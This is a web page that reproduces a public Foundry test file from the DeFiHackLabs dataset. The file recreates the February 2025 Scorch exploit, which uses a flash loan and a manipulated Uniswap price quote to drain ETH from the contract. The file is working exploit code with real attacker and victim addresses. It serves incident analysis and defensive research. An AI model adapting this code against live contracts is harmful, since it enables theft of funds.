Skip to content
THREATWIRE

Public reproduction file

src/test/2025-02/Scorch_exp.sol

Public reproduction file for dataset entry Scorch.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-02/Scorch_exp.sol114 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 0.14 ETH
8// Attacker : 0xc9A5643eD8E4CD68d16FE779D378C0E8e7225A54
9// Attack Contract : 0x60E1a5714AB98f4ba55811c45899Fb425433BB65
10// Vulnerable Contract : 0xA3D0e72c8A2fE9127A77412BF34bEe5e4945bd49
11// Attack Tx : https://etherscan.io/tx/0x02dc4409af99de400b2427dad525c31467a8fd2ac6cb251f885d33c073510ba2
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xa3d0e72c8a2fe9127a77412bf34bee5e4945bd49#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/451
18//
19// Scorch.scorch() paid ETH using a live Uniswap getAmountsOut() quote from the
20// manipulable OTC/WETH pool. The attacker inflated the quote with a WETH->OTC swap,
21// burned OTC for ETH at the inflated quote, then sold the remaining OTC and repaid.
23address constant ATTACKER = 0xc9A5643eD8E4CD68d16FE779D378C0E8e7225A54;
24address constant ATTACK_CONTRACT = 0x60E1a5714AB98f4ba55811c45899Fb425433BB65;
25address constant SCORCH_TOKEN = 0xA3D0e72c8A2fE9127A77412BF34bEe5e4945bd49;
26address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
27address constant UNISWAP_V3_FLASH_POOL = 0xE0554a476A092703abdB3Ef35c80e0D76d32939F;
28address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
30interface IScorch {
31 function scorch(
32 uint256 amount
33 ) external returns (bool);
36contract ContractTest is BaseTestWithBalanceLog {
37 IUniswapV3Flash private constant flashPool = IUniswapV3Flash(UNISWAP_V3_FLASH_POOL);
38 IUniswapV2Router private constant router = IUniswapV2Router(payable(UNISWAP_V2_ROUTER));
39 IScorch private constant scorchToken = IScorch(SCORCH_TOKEN);
40 IERC20 private constant otc = IERC20(SCORCH_TOKEN);
41 IWETH private constant weth = IWETH(payable(WETH_TOKEN));
43 function setUp() public {
44 uint256 forkBlock = 21_822_423;
45 vm.createSelectFork("mainnet", forkBlock);
47 fundingToken = address(0);
48 vm.label(ATTACKER, "Attacker");
49 vm.label(ATTACK_CONTRACT, "Attack Contract");
50 vm.label(SCORCH_TOKEN, "Scorch OTC");
51 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");
52 vm.label(UNISWAP_V3_FLASH_POOL, "Uniswap V3 Flash Pool");
53 vm.label(WETH_TOKEN, "WETH");
54 }
56 function testExploit() public balanceLog {
57 uint256 balanceBefore = address(this).balance;
59 flashPool.flash(address(this), 0, 4 ether, "");
61 uint256 remainingWeth = weth.balanceOf(address(this));
62 if (remainingWeth > 0) {
63 weth.withdraw(remainingWeth);
64 }
66 assertGt(address(this).balance - balanceBefore, 0.1 ether);
67 }
69 function uniswapV3FlashCallback(uint256, uint256 fee1, bytes calldata) external {
70 require(msg.sender == UNISWAP_V3_FLASH_POOL, "unexpected callback");
72 // step 1: buy OTC and inflate the OTC/WETH quote used by scorch().
73 weth.approve(UNISWAP_V2_ROUTER, type(uint256).max);
74 otc.approve(UNISWAP_V2_ROUTER, type(uint256).max);
76 address[] memory buyPath = new address[](2);
77 buyPath[0] = WETH_TOKEN;
78 buyPath[1] = SCORCH_TOKEN;
79 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(4 ether, 0, buyPath, address(this), block.timestamp);
81 // step 2: repeatedly burn OTC while the manipulated quote drains Scorch's ETH.
82 address[] memory quotePath = new address[](2);
83 quotePath[0] = SCORCH_TOKEN;
84 quotePath[1] = WETH_TOKEN;
85 for (uint256 i = 0; i < 8; i++) {
86 uint256 availableEth = SCORCH_TOKEN.balance;
87 if (availableEth < 0.01 ether) break;
89 uint256 targetReward = 0.097 ether;
90 if (targetReward > availableEth) {
91 targetReward = (availableEth * 95) / 100;
92 }
94 uint256 burnAmount = router.getAmountsIn(targetReward, quotePath)[0];
95 scorchToken.scorch(burnAmount);
96 }
98 // step 3: sell remaining OTC to WETH and wrap the ETH rewards from scorch().
99 uint256 remainingOtc = otc.balanceOf(address(this));
100 address[] memory sellPath = new address[](2);
101 sellPath[0] = SCORCH_TOKEN;
102 sellPath[1] = WETH_TOKEN;
103 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(remainingOtc, 0, sellPath, address(this), block.timestamp);
105 if (address(this).balance > 0) {
106 weth.deposit{value: address(this).balance}();
107 }
109 // step 4: repay the WETH flash loan.
110 weth.transfer(UNISWAP_V3_FLASH_POOL, 4 ether + fee1);
111 }
113 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Scorch” (2025-02-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc9a5643ed8e4cd68d16fe779d378c0e8e7225a54

  • Attack Contract

    0x60e1a5714ab98f4ba55811c45899fb425433bb65

  • Vulnerable Contract

    0xa3d0e72c8a2fe9127a77412bf34bee5e4945bd49

  • Attack Tx

    0x02dc4409af99de400b2427dad525c31467a8fd2ac6cb251f885d33c073510ba2

File record

Name
Scorch
Path
src/test/2025-02/Scorch_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
803dae2433d2cf59e0e1dfa4b73b172f18e1aa83
Language
Solidity
Size
115 lines
Date
2025-02-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-02/Scorch_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 803dae2433d2cf59e0e1dfa4b73b172f18e1aa83, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.